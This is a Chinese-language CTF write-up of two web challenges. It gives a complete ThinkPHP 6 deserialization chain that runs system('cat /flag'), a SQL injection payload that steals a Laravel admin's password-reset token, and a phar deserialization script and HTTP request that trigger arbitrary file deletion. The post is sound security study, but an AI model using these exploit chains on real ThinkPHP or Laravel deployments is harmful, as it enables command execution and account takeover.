Background

继续备战

安洵杯iamthinking

前置小知识点绕过parse_url才能unserialize
只需要url///?payload=xxxxxxx即可
然后就是一个tp6的链子了,遗憾的是我tp链子根本没走过,跟着这个先走一遍吧,老方法:定位__destruct()->跟着函数走->找可控点->找魔术方法
8995B95C-6D6E-40B0-992B-4D02400148AF.png
谨记$this可不可控还要注意是否__wakeup设置初始化 lazySave=true
跟进save函数
CBA9E6B2-B9C5-486E-A69F-423CCA62EB6F.png
关注这两个函数就需要满足上面的条件
setArrs就是个数组的赋值
跟进isEmpty
$this->$data可控 不为空即可
跟进$this->trigger
$this->withEvent为false即可
我们完成这些的配置可以成功进行调用
现在我们尝试调用updateData()
就要$this->exist为True
59984039-4078-42A0-81E0-081AB291566C.png
这里有个小知识点,就是函数那么多我优先看哪个,注意传参,我们注意到$data变量取了getchangeData的值
4D550017-7C00-4603-B6F2-78D0DF516A7B.png
$data在$this->force值为true的时候我们可控
为了能够调用到checkAllowFields(),还是需要保证前面不直接return,所以$data不能为空
继续跟checkAllowFields()
D241D755-0AB0-401E-AC7B-F8C32A239D00.png
跟进$this->field和$this->schema不为空
.拼接 变成对象就可以使用__toString方法了
9638DB3A-C724-43A4-A6C8-4C5C4FEB0189.png
继续跟toArray
很长的一段代码,但是利用点其实还在代码后面的getAttr处的。那么就跟进下
跟进发现回到Attribute.php
跟进getData->getRealFieldname
57574A33-927D-4100-AA42-9423EF89E091.png
$this->strict为true,方法将返回一路从getAttr传过来的$name。然后方法继续,最后getData()返回$this->data['$fieldname']
为了使文章更清楚我再仔细说一下这个部分
2CFE9EB2-650E-4A07-A7B9-B5D844A03F7A.png
getRealFieldName我们通过设置$this->strict为true $name回到getData,最终我们可以看到return的是数组的形式
getData来源是toArray调用的getAttr,而getAttr return的是getValue
612187F9-7C00-4817-AB8F-E048FC8E071A.png
这个后面是tp5.1的链子,这题的作者在这里很人性化的提示了后面链子的调动

至此我们就可以执行system(“ls”, [$name=>"ls"])了

system ( string command [, int &return_var ] ) : string参数
command要执行的命令。 return_var如果提供 return_var 参数, 则外部命令执行后的返回状态将会被设置到此变量中。

所以这个是非常合法的
最后链子

<?php
namespace think\model\concern {
    trait Conversion
    {    
    }

    trait Attribute
    {
        private $data;
        private $withAttr = ["T4rn" => "system"];

        public function get()
        {
            $this->data = ["T4rn" => "cat /flag"];
        }
    }
}

namespace think{
    abstract class Model{
    use model\concern\Attribute;
    use model\concern\Conversion;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $field;
    protected $schema;
    protected $table;
    function __construct(){
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->field = [];
        $this->schema = [];
        $this->table = true;
    }
}
}

namespace think\model{
use think\Model;
class Pivot extends Model
{
    function __construct($obj='')
    {
        //定义this->data不为空
        parent::__construct();
        $this->get();
        $this->table = $obj;
    }
}


$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));
}

后记1
这题是魔改过的
原题的checkAllowFields
15FF9612-6ED2-4866-BF7C-6BBB97B92A25.png
后记2
如果你仔细跟了一遍payload应该有自己的思考,tarit{}和为什么引入Pivot
Model类是抽象类,不能被实例化,那么可以找到该类的子类,其位于vendor/topthink/think-orm/src/model/Pivot.php;同样,trait类是复用类,也是不能被实例化的,可以找到复用它的类来实例化

[护网杯 2018]easy_laravel

到现在为止buu也只有30多人做出来,是个很难的题目,先自己一步一步跟一下,没跟成功再wp
去简单看下Laravel开发文档了解一下大致架构
377F8907-1B4F-4A20-AC48-EA41FF6191E2.png
比较有趣的点是larvavel的中间件功能,分析laravel时候一定要注意先查看下路由
首先找到他们写好的composer.json文件
composer install之后
使用php artisan route:list
75F5B877-E92B-419E-8214-A48C91F0FB82.png
可以直接定位flag路由去康康
CBA8EC95-D931-47C2-B9E0-D1314D488B72.png
可以看到showFlag函数直接读取了flag,并把它映射在视图上面
我直接访问了,显示登录界面
仔细看一下路由 发现用admin和guest之分,所以我们应该是要拿到admin的权限才可以get flag,auth很容易理解,应该就是个认证
我猜想这个是一个完整的业务流程
注册->登录-鉴权(admin->getflag)
然后就是每个业务点可能存在什么漏洞这么去看
64EC2C97-B727-4A0F-9A6C-FEBDA0E5A996.png
在note controller里面发现有一个 和数据库交互的点,并且直接字符拼接
然后在database下文件发现加密方式
F073A02A-B24B-4C0A-AD01-79CC6D07C7E5.png
密码是被bcrypt加密的
只能进行对比没法解密的
作者在他的题解提到了token laravel5.4中,重置密码的操作很特殊
BDA90023-2A7C-4DCD-9425-C31C3FBB477D.png
跟着重置密码的复用类可以看到token在view中展示 所以我们可以在这里注入、
前提是要生成token 通过找回密码的方法
在database文件里面找到我们需要注入的表名
40A1F702-479F-42AD-8D6D-310619163A89.png
注入到重置的token 我们就能修改密码
test'union select 1,token,3,4,5 from password_resets where email='admin@qvq.im';
因为用的是sqlite所以只能用;
9C5800D7-1DFD-4495-8E9E-E5014B94E984.png
F8A80F06-D358-4C8A-86B6-DD52EE8E7637.png
flag模块并没有flag
30F32F18-A514-4AD4-9B1A-CBD5DD53C80E.png
因为在 laravel 中,模板文件是存放在 resources/views 中的,然后会被编译放到 storage/framework/views 中,而编译后的文件存在过期的判断
所以我们要删掉过期文件
在/bootstrap/cache/compiled.php可以看到编译信息

return $this->cachePath . '/' . sha1($path) . '.php';

buu是apache 还要算sha1值
app/Http/Controllers/UploadController.php上传位点
UploadRequest 中限制了文件必须为 image ,但是这个基本上是个摆设,很好绕过,可以看到文件是被上传到了 $this->path,也就是 storage/app/public
关键点来了file_get_contents filename和path我们都知道可控
考虑phar反序列化
找寻unlink删除函数,全局搜索

 public function __destruct()
    {
        if (file_exists($this->getPath())) {
            @unlink($this->getPath());
        }
    }
}

调用getPath函数
跟进之后发现
完全可控

public function getPath()
{
    return $this->_path;
}

然后就是引入类 Phar反序列化
在check那里进行phar

<?php
include('autoload.php');
$a =new Swift_ByteStream_TemporaryFileByteStream();
echo(serialize($a));
$p = new Phar('flag.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($a);
$p->addFromString('test.txt','text');
$p->stopBuffering();
?>

include包含类,然后check那里输入参数,这里把我的post包给出来

POST /check HTTP/1.1
Host: f59bd61f-ece5-4ec8-b313-faec3c6ba5fb.node3.buuoj.cn
Content-Length: 99
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://f59bd61f-ece5-4ec8-b313-faec3c6ba5fb.node3.buuoj.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://f59bd61f-ece5-4ec8-b313-faec3c6ba5fb.node3.buuoj.cn/files
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=178a1378688358-044dfdbc4ef3a5-13114459-1aeaa0-178a1378689a06; XSRF-TOKEN=eyJpdiI6IjVrQ045MUQ2Y1pkV09FaDZYTlhzOVE9PSIsInZhbHVlIjoiOGNXOG95Q1M3SXp3a2I2MmxzNjlUdXhVOERsYjJydWNaUU9IcVNlV1VrV3BjaDBQdncyVU9wQnhrWGF2cXdkVmpKSHJTeUFLbW53cmFpS2VQTGsydmc9PSIsIm1hYyI6IjNmMDE2MjlhYzE5YzY5YWQwNWI4Y2NmZGUzZGU3ZDQ2NDE4M2I4ZjkzOWUzNTU4YjkxNDAwN2FiOTI4YzQ5MDIifQ%3D%3D; laravel_session=eyJpdiI6InNhUkhZenNveVNqc1BTUlJGQ1NOK2c9PSIsInZhbHVlIjoiazZEMmZXbHAyZFBaQk16TFVzbytRU0FnSlgrK3hjNGlqQ0NlZDZPSzZnOXN5Y3MzWm9pYXpCdXRFSTRJTjhiUFlEVHRvaDhCUzZldm9QSGRqS0tpK1E9PSIsIm1hYyI6ImZjN2Q5OTYzM2U4NTQ0ZmU0MzAwODY1N2IyZThjNzJlNmMyMTZhYmUzZTQ4ZmE1OWE2NmRjNGIxZDhhZDc0NzkifQ%3D%3D
Connection: close

filename=%2F1.gif&_token=frnA6bXbLFEZouZbq9AMzUGu0oXMgvHC9ZF7sVZy&path=phar://../storage/app/public

getflag
09787E93-FAA4-4EC0-957C-69563C6F5E11.png
后记1
token要用自己的
类可以用include usenamespace这种引进

总结

一中午加半个下午结合wp,结合思考终于复现完了,出题思路真是值得学习,也是对框架非常熟悉,所以下一步我也打算用框架写点东西,开发为辅,主页还是安全研究